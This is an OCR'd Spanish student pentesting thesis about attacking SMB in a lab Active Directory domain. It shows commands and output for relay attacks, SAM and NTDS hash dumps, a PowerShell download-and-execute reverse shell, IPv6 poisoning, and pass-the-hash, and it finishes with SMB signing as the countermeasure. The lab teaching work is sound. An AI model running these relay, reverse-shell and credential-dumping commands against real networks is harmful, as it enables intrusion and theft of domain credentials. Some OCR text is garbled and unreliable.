Bloquear todas las conexiones entrantes, incluidas las de |a lista de aplicaciones permitidas

Matificarme cuande Firewall de Windows Defender bloquee una nueva aplicacién
6 (@) Desactivar Firewall de Windows Defender (no recomendada)

Configuracién de red publica
e () Activar Firewall de Windows Defender
Bloquear todas las conexiones entrantes, incluidas las de |a lista de aplicaciones permitidas

Matificarme cuande Firewall de Windows Defender bloquee una nueva aplicacién

6 (@) Desactivar Firewall de Windows Defender (no recomendado);

_... Aceptar Cancelar

Tlustracion 39 - Desactivacién del Firewall de Windows en ambos activos (PC-DIAZ y PC-MVAZQUEZ)

A su vez, desactivaremos la Proteccién en tiempo real dentro del Windows Defender.
Cabe destacar, que en entornos empresariales es comun que los equipos (sobre todo
los DCs), tengan desactivado el antivirus totalmente, para evitar problemas de

rendimiento. En caso necesario, se podrian aplicar técnicas de evasién de AVs/IDS.

Proteccion en tiempo real

Busca malware e impide que se instale o gjecute
en tu dispositivo. Puedes desactivar esta opcion
durante un breve periodo de tiempo antes de
gue se vuelva a activar automaticamente.

La proteccion en tiempo real estd
€3 desactivada, lo que hace que tu dispositivo
sea vulnerable.

@ Desactivado

Tlustracion 40 - Desactivacion de proteccion en tiempo real en ambos activos (PC-DIAZ y PC-MVAZQUEZ)
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También, deberemos de modificar el archivo de configuracién de Responder para
deshabilitar los servidores SMB y HTTP, ya que conjuntamente lanzaremos la

herramienta ntimrelayx®.

; Servers to start
SQlL_= On

SMB = Off

RDP = On

Kerberos = On

FTP = On

POP = On

SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On

Tlustracion 41 - Cambio de configuracion en la herramienta Responder

Una vez modificada la configuracion, necesitaremos la direccion IP del equipo PC-
MVAZQUEZ que es el que usaremos como “target”, ya que es el activo al que queremos

realizar un relay.

3 S cme smb 192.168.1.0/24
192.168.1.189 445 PC-ADIAZ Windows 10.0 Build 19041 x64 (name:PC-ADIAZ) (d

192.168.1.187 445 pDCe1 Windows 10.0@ Build 17763 x64 (name:DCO1) (domai
192.168.1.191 445 PC-MVAZQUEZ Windows 10.0 Build 19041 x64 (name:PC-MVAZQUEZ)

Tlustracion 42 - Identificacion de la direccion IP del activo PC-MVAZQUEZ

4 https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntimrelayx.py
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Dicha direccion IP deberemos de introducirla en un fichero, en mi caso, con el nombre

de targets.txt:

S nano targets.txt
S batcat targets.txt

File: targets.txt

192.168.1.191

Tlustracion 43 — Guardado de direccion IP del activo “a atacar” en un fichero

Posteriormente, correremos la herramienta de responder con los mismos parametros
que vimos en el punto anterior junto con la herramienta ntimrelayx, donde
especificaremos el fichero target (target file [-tf]) y daremos soporte a la version 2 de

SMB (accidn necesaria para activos Windows 10):

S sudo python3 /opt/Responder/Responder.py -I wlol -dd

$ sudo python3 /opt/impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support

Ilustracion 44 - Despliegue de ataque SMB Relay con las herramientas Responder y ntimrelayx

Deberemos de acceder a un recurso inexistente desde cualquier activo con un usuario
que tenga privilegios de administrador sobre el equipo que hemos especificado en el

fichero (en nuestro caso, lo haremos en el activo PC-ADIAZ):

‘ﬁ\\prueba‘l‘l\pruebaa v ‘ =

sido v Carpetas frecuentes (6)

) Escritorio Descargas Docume
Este equipo Este equipo A=) Este equ
. i =
atos
Musica Videos

: ) Este equipe ﬂ Este equipe

~ Archivos recientes (0)

Ilustracion 45 — Acceso a un recurso inexistente desde el activo PC-ADIAZ
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En el equipo atacante, observaremos como el relaying se ha producido correctamente

y hemos sido capaces de dumpear la SAM en el equipo PC-MVAZQUEZ:

Authenticating against smb://192.168.1.191 as GONZALONAZARENO/ADIAZ SUCCEED
SMBD-Thread-5: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are no more targets left!
Service RemoteRegistry is in stopped state

Service RemoteRegistry is disabled, enabling it

Starting service RemoteRegistry

Target system bootKey: 0x1db5f16b7a505fde88f6cfb4ae660e53

Dumping local SAM hashes (uid:rid:lmhash:nthash)

[*] SMBD-Thread-7: Connection from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled. but there are no more targets left!
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0cO89¢O: : :
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0cO089cO: : &
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089¢O: : :
WDAGUt1lityAccount:504:aad3b435b51404eeaad3b435b51404ee:edfob74c875eb5980698135fddb40dab: : &
mvazauez:1000:aad3b435b51404eeaad3b435b51404ee: 7dfaf531d73101ca®80c7379a9bff1c7:::

[
[
[
[
[
[
[

*
*
*
*
*
*
*
*

Tlustracién 46 — Relaying exitoso logrando dumpear la sam en el activo PC-MVAZQUEZ

A su vez, la herramienta ntimrelayx nos permite ejecutar comandos de powershell
empleando el parametro -c. Aprovechandonos de dicha opciéon, podemos lograr
obtener una shell en dicho activo. Para ello, haremos uso de los scripts que nos ofrece

Nishang® para enviarnos una sesion de powershell al equipo de atacante.
Tendremos que modificar dicho script e invocar al final del script la funcién Invoke-

Powershell TCP:

Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error §_

1

Invoke-PowerShellTcp -Reverse -IPAddress 192 .1.149 -Port 5

Ilustracion 47 - Modificacidn del script para enviar una shell al equipo de atacante

Como podemos observar, debemos de especificar la direccion IP y el puerto por el que

nos pondremos en escucha.

Procederemos a explicar el proceso de una manera mas detallada.
1. Debemos de envenenar el trafico LLMNR/NBT-NS usando la herramienta Responder.

2. Crearemos un servidor HTTP empleando el mddulo http.server de python para
compartirnos el script en powershell mostrado anteriormente.

5 https://qgithub.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.psi
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3. Nos pondremos en escucha a través de nc por el puerto especificado en el script (en
nuestro caso es el 5656).

4. Aprovechandonos de que podemos ejecutar comandos de powershell, nos haremos
una peticién a nuestro servidor a través de la funcion Net.WebClient y, usando otra
funcién llamada downloadString, lograremos que interprete el script e importe las
funciones especificadas a la sesién de Powershell sin necesidad de descargar el fichero
en el sistema. Por este motivo, se ha anadido al final del fichero la funcién para

enviarnos una shell.

S sudo python3 /opt/Responder/Responder.py -I wlol -d

$ sudo python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.

$ sudo python3 /opt/impacket/examples/ntlmrelayx.py -tf targets.txt
-smb2support -c "powershell iex(new-object net.webclient).downloadString('http://192.168.1.149")"

3 $ nc -nlvp 5656
Listening on 0.0.0.0 5656

Tlustracion 48 - Proceso para obtener una shell a través de smb relay

Accedemos a un recurso inexistente en el activo PC-ADIAZ y observamos lo siguiente

en la maquina atacante:

[*] HTTPD(80):
e targets left!
[*] HTTPD(80):
e targets left!
[*] SMBD-Thread-16: Connection
o0 more targets left!

[*] SMBD-Thread-17: Connection

Connection from

Connection from

o more targets left!
[*] SMBD-Thread-18: Connection
o more targets left!

: Connection from

[*] SMBD-Thread-20: Connection
o more targets left!

[*] SMBD-Thread-21: Connection
o more targets left!

[*] SMBD-Thread-22: Connection
o more targets left!

[*] HTTPD(80): Connection from
e targets left!

[*] SMBD-Thread-24: Connection
o0 more targets left!

[*] SMBD-Thread-25: Connection
o more targets left!

[*] SMBD-Thread-26: Connection
o more targets left!

[*] SMBD-Thread-27: Connection
o more targets left!

$ sudo python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) .

192.168.1.191 - -
192.168.1.191 - -
192.168.1.191 - -

GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are no mor
GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are no mor
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are no mor
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are no mor
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n
from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n

from GONZALONAZARENO/ADIAZ@192.168.1.189 controlled, but there are n

Ilustracion 49 - Obtencién de una shell

8] code 404, message F\le not found
] "GET /shell.ps1 HTTP/1.1" 404 -

[68/Jun/2022 20:35:51] "GET /Shell.ps1 HTTP/1.1" 200 -

s $ nc -nlvp 5656

Listening on 6.0.0.0 5656
Connection received on 192.168.1.191 53698

Windows PowerShell running as user PC-MVAZQUEZ$ on PC-MVAZQUEZ
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system

PS C:\Windows\system32> hostname
PC-MVAZQUEZ

PS C:\Windows\system32> ipconfig

Configuraci?n IP de Windows

Adaptador de Ethernet Ethernet@:

Sufijo DNS espec?fico para la conexi?n. .
V2nculo: direcci?n IPv6 local. . .
Direcc

M?scara de subred . . .

Puerta de enlace predetermnada

dd1:95e6:51e7:d59%13
192.168.1.191
255.255.255.0
192.168.1.1

Adaptador de Ethernet Conexi?n de red Bluetooth:
Estado de los medios : medios desconectados

Sufijo DNS espec?fico para la conexi?n. . :
PS C:\Windows\system32>

a través de smb relay
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3.4. Envenenamiento de trafico IPv6 + Socks

Proxy

En este apartado, veremos cémo podemos envenenar el trafico IPv6 del dominio. Cabe
destacar que por defecto las maquinas Windows solicitan trafico IPv6 y, muchos

administradores solo suelen asegurar trafico IPv4, dejando IPv6 totalmente expuesto.

Haremos uso de la herramienta mitm6°, indicando con el pardametro -d el dominio que

queremos “atacar”:

- S sudo mitmé -d gonzalonazareno.org 2>/dev/null
Starting mitmé using the following configuration:
Primary adapter: wlol [14:13:33:62:06:5f]
IPv4 address: 192.168.1.149

IPv6 address: fe80::7b49:97f47:feb3:5378
DNS local search domain: gonzalonazareno.org
DNS allowlist: gonzalonazareno.org

Ilustracion 50 - Envenenamiento del trafico IPv6 del dominio gonzalonazareno.org

Podemos comprobar que efectivamente hemos logrado envenenar el trafico para
capturar el trafico IPv6 que se establezca entre los diferentes activos del dominio
realizando un ipconfig /all en cualquier activo y observando que como servidor DNS

principal se ha establecido la direccion IPv6 de la maquina atacante:

8 https://github.com/dirkjanm/mitmé
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7 S principal . . . . . alonazareno.org
Tipo de nodo. . . . . . . . . . : hibrido
Enrutamiento IP habilitado. . . : no
Lista de bdsqueda d i N zalonazareno.org

Adaptador de Ethernet Ethernet@:

Sufijo DN5S especifico para la cone

DlFHCC 0 5
DHCP habilitado .
Cunflburac1nn auto a*lca hablllfnda .

Wincul -
Direcc V. L L . h e e e e e e e e . o 189(Preferi

DHID de c11r +w DHCPvEG .
s DNS.

e TCP/IP.
queda de sufi
e Ethernet Conexidn de red Bluetooth:
medios desconectados

Bluet Devi

diaz.

Ilustracion 51 - Comprobacién de envenenamiento trafico IPv6+

Posteriormente, emplearemos la herramienta ntimrelayx variando los parametros:

$ sudo python3 fopt/impacket/examples/ntlmrelayx.py -6 -wh 192.168.1.149 -t smb://192.168.1.191 -socks -debug »smb25upport|

Tlustracién 52 - Uso de herramienta ntimrelayx para abusar del relaying y crear una conexion socks

Donde:

e -6: Indicamos que queremos escuchar tanto en IPv4 como IPv6.

e -wh: Indicamos la direccion IP del equipo atacante.

e -t: Indicamos el target, en nuestro caso queremos atacar el activo PC-
MVAZQUEZ a través de SMB.

e -socks: Indicamos que queremos establecer una conexidén socks, esto nos
permitird usar proxychains mas adelante.

e -debug: Activamos el modo debug.

e -smb2support: Indicamos que queremos dar soporte a la version 2 de SMB.

30



Pentesting en SMB - PFG Adrian Diaz Aguilar

Cuando un usuario haga una peticion a un recurso a nivel de red podremos obtener su
autenticacion y comprobar a través de la funcidn socks si tiene privilegios de

administrador:

[*] SMBD-Thread-61: Connection from ::ffff:192.168.1.188 controlled, but there are no more targets left!

ntlmrelayx> socks

Protocol Target Username AdminStatus Port

445

Ilustracion 53 - Obtencidn de un relay con privilegios de administrador sobre el activo PC-MVAZQUEZ

Al haber especificado el parametro -socks, se nos ha establecido una conexién socks
en nuestro equipo que podremos “abusar” a través de la herramienta proxychains. Por
defecto, la conexidon se establece en el puerto 1080 a través de socks4, por lo que

deberemos de dejar la siguiente configuracion:
:~$S tall /etc/proxychains.conf

proxy types: http, socks4, socks5
( auth types supported: "basic"-http "user/pass"-socks )

[ProxylList]

# add proxy here ...

# meanwile

# defaults set to "tor"
socks4 127.0.0.1 1080

Tlustracion 54 - Configuracién de proxychains

Lo bueno de este ataque es que nos da la posibilidad de autenticarnos contra dicho
equipo a través del usuario que tiene privilegios de administrador (adiaz) con

cualquier contrasefa, como se muestra a continuacion:

root@Innotec:~# proxychains cme smb 192.168.1.191 -u 'adiaz' -p 'asdasdasdasd' -d 'gonzalonazareno'
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain]-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<><>-0K
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<><>-0K

|S-chain|-<>-127 :1080-<><>-192.168.1.191:135-<- -denied

192 .191 445 PC-MVAZQUEZ Windows 10.0 Build 19641 (name:PC-MVAZQUEZ) (domain:gonzalonazareno) (signing:False) (SMBv1:False)
|S-chain|-<>-12 1:1080-<><>-192.168.1.191:445-<><>-0K
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<><>-0K
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<><>-0K

192.168.1.191 445 PC-MVAZQUEZ gonzalonazareno\adiaz:asdasdasdasd (Pwn3d!)

Tlustracion 55 - Credenciales con privilegios de administrador en el equipo PC-MVAZQUEZ
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3.5. Domain Admin

Si recordamos, al envenenar el trafico LLMNR/NBT-NS logramos obtener el hash del
usuario Administrador que posteriormente crackeamos empleando JohnTheRipper.
Para asegurarnos de que ese usuario se encuentra en el grupo de Domain Admins,
podemos hacer un escaneo de red a través de crackmapexec con las credenciales

obtenidas para ver si en todos los equipos nos reporta un “Pwn3d!”.

8 $ cme smb 192.168.1.0/24 -u 'Administrador' -p 'S3cur3P@ssw@rd123!"
192.168.1.188 PC-ADIAZ Windows 10.0 Build 19041 x64 (name:PC-ADIAZ) (domain:gonzalonazareno.org) (signing:False) (SMBv1:False)
192.168.1.191 PC-MVAZQUEZ Windows 10.0 Build 19041 x64 (name:PC-MVAZQUEZ) (domain:gonzalonazareno.org) (signing:False) (SMBv1:False)

192.168.1.187 DCoO1 Windows 10.0 Build 17763 x64 (name:DCO1) (domain:gonzalonazareno.org) (signing:True) (SMBv1:False)
192.168.1.191 PC-MVAZQUEZ gonzalonazareno.org\Administrador:S3cur3P@ssword123! (Pwn3d!)
192.168.1.188 PC-ADIAZ gonzalonazareno.org\Administrador:S3cur3P@ssword123! d!)
192.168.1.187 DCO1 gonzalonazareno.org\Administrador:S3cur3P@ssword123! (Pwn3d!)

Ilustracion 56 — Validacion de usuario administrador del dominio

Con dichas credenciales podemos obtener una shell en cualquier activo empleando

herramientas como psexec.py’:

3 $ psexec.py gonzalonazareno.org/Administrador:'S3cur3P@ssword123!'@192.168.1.187 cmd.exe
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

*] Requesting shares on 192.168.1.187

*] Found writable share ADMINS

*] Uploading file oJivvIyJ.exe

*] Opening SVCManager on 192.168.1.187

¥*] Creating service CPpJ on 192.168.1.187

¥] Starting service CPpl

Press help for extra shell commands

-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/1library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Versien 10.0.17763.107]

(c) 2018 Microsoft Corporation. Todos los derechos reservades.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
DCo1

Tlustracion 57 - Obtencién de una cmd en el controlador de dominio

Otra cosa que podemos realizar es dumpear el fichero ntds. Este fichero, actia como
base de datos conteniendo toda la informacidén del directorio activo (usuarios,
grupos...). Desde el punto de vista de un atacante, nos permitird obtener los hashes

de todos los usuarios del dominio:

3 $ cme smb 192.168.1.187 -u 'Administrador' -p 'S3cur3P@ssword123!' --ntds
192.168.1.187 DCo1 Windows 10.0 Build 17763 x64 (name:DCO1) (domain:gonzalonazareno.org) (signing:True) (SMBvi:False)
192.168.1.187 5 DCO1 gonzalonazareno.org\Administrador : S3cur3P@sswlr
192.168.1.187 44 DCO1 Dumoina the NTDS. thi 1d_tak hil
192.168.1.187 DCe1 trad €
192.168.1.187 DCo1
192.168.1.187 DCo1

1.187 DCo1

. . DCo1
192. 1t 1.187 DCo1
192.168.1.187 DCo1
192.168.1.187 DCo1 F EZ b. d3 eeb 97a
192.168.1.187 DCO1 S S/ . S, .168.1. 2 8_215836.ntds of which 5 were added to the database

Ilustracion 58 - Dumpeo del NTDS para obtener hashes de los usuarios del dominio

7 https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py
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Con dichos hashes, podemos abusar de técnicas como PassTheHash® para
autenticarnos contra cualquier activo y obtener una shell. En el siguiente ejemplo
usamos el hash del usuario del dominio adiaz para autenticarnos contra el activo PC-
ADIAZ:

2] S wmiexec.py gonzalonazareno.org/adiaz@192.168.1.191 -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
Impacket v0.10.0 - Copyright 2822 SecureAuth Corporation

[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoani

gonzalonazareno\adiaz

C:\>hostname
PC-MVAZQUEZ

C:\>ipconfig

[-] Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec

Configuracien IP de Windows

Adaptador de Ethernet Ethernet®:

Sufijo DNS especefico para la conex . : gonzalonazareno.org
Venculo: direccien IPv6 local feB0::ddd1:95e6:51e7:d59%13
Direccien IPv4 .. 1 192.168.1.191
Mescara de subred . . . . . . 2 255.255.255.0
Puerta de enlace predetermi . . . :192.168.1.1

Adaptador de Ethernet Conexien de red Bluetooth:

Estado de los medios . : medios desconectados
Sufijo DNS especefico para la conex 8

Tlustracion 59 - Abusando de PassTheHash para autenticarnos contra el activo PC-ADIAZ

8 https://en.wikipedia.org/wiki/Pass the hash
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3.6. Protecciones - Firma SMB

Como bien especificamos al principio de este documento, la firma en SMB por defecto

se encuentra deshabilitada en aquellos equipos que no sean Controladores de Dominio.

Para comprobarlo, nos dirigiremos al registro de Windows y visualizaremos las claves

de RequireSecuritySignature y EnableSecuritySignature:

Equipo\HKEY_LOCAL_MACHIMNE\SYSTEM\ CurrentControlSet\Services\LanmanServer\Parameters

iphlpsve ~ || Nombre Tipo Datos
:EELEJFRV < REG_SZ (valor no establecido)
T ‘.’.'51 autodisconnect REG_DWORD Ose ODOO0O0OT (15)
IpxlatCFaS ‘-'-'s] EnableAuthenticatellserSharing REG_DWORD 0x O00D0000 (0)
nla Ve
:apnp J 3 enableforcedlogoft REG DWORD (00000001 (11
ScsiPrt 3] enablesecuritysignature REG_DWORD 0x 00000000 (0) ]
[t5as35i mGuid REG_BINARY ched fb 33 ed 3d a0 4c b0 8b d0 Of 52 ae b7 {7
Kbdclass ab| NyllSessionPines BEC MLLT] 7
kbdhid 24 requiresecuritysignature REG_DWORD Ox 00000000 (0) ]
kbldfltr ﬁ%\l restrictnullsessaccess REG_DWORD O 00000001 (1)
kdnic ab)ServiceDll REG_EXPAND_SZ FeSystemRoot ¥\ system32\srvsve.dll
Keylso ‘-’-'6] ServiceDllUnloadOnStop REG_DWORD (000000001 (1)

Ilustracion 60 - Claves de registro para verificar que el SMB no se encuentra firmado

Deberemos de modificar dichos valores a 1:

MNombre Tipo Datos

3_""1 (Predeterminado) REG_SZ (walor no establecido)

'-'-'ﬂ autodisconnect REG_DWQORD OaeDOO00DOT (15)
mﬂEnabIaAuthenﬁcateUserShaﬂng REG_DWORD (heDDOODO0D (0]

‘.'.'ﬂ enableforcedlogoff REG_DWORD O 00000001 (1)

it} enablesecuritysignature REG_DWORD 000000001 (1)

‘.'."'ﬂGuid REG_BIMARY 37 Tb 68 5c 59 b6 08 4b Ba1e 85 dadb c3 97 b5
a_""] MullSessionPipes REG_MULTI_SZ

! requiresecuritysignature REG_DWORD 00000001 (1]

‘-'-'t'r] restrictnullsessaccess REG_DWORD CacDDODD0D0T (1)

{'ﬂ ServiceDll REG_EXPAMD_S7 He5ysternRoot¥\systern32\srvsve.dll
‘.’.'ﬂ ServiceDllUnloadOnStop REG_DWORD Ox 00000001 (1)

Tlustracién 61 - Cambio en las claves de registro para firmar el SMB

Esta misma accién se realizara en el activo PC-MVAZQUEZ

:~5 cme smb 192.168.1.0/24
192.168.1.191 445 PC-MVAZQUEZ Windows 108.0 Build 19841
x64 (name:PC-MVAZQUEZ) (domain:gonzalonazareno.org) (signing:True) (SMBv1:False)
192.168.1.187 445 DCO1 Windows 108.0 Build 17763

x64 (name:DCO1) (domain:gonzalonazareno.org) (signing:True) (SMBvi1:False)
192.168.1.190 445 PC-ADIAZ Windows 10.0 Build 19041
x64 (name:PC-ADIAZ) (domain:gonzalonazareno.org) (signing:True) (SMBvl:False)

Tlustracién 62 — SMB firmado en ambos activos
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4. Anexos

4.1. Conclusion

Durante el documento se ha mostrado cdmo se crea un laboratorio de Directorio Activo
y las diferentes técnicas que emplearia un atacante en un test de intrusién interno
para enumerar y atacar al protocolo SMB en un entorno de AD. Donde nos ha sido
posible aprovecharnos de la configuracion por defecto que ofrece Windows a los activos

de un dominio.

En dichas pruebas, el acceso a recursos se ha realizado de forma manual, sin embargo,
en entornos empresariales, es muy comun que haya tareas automatizadas que

accedan a carpetas compartidas o los cominmente llamados healthcheck.
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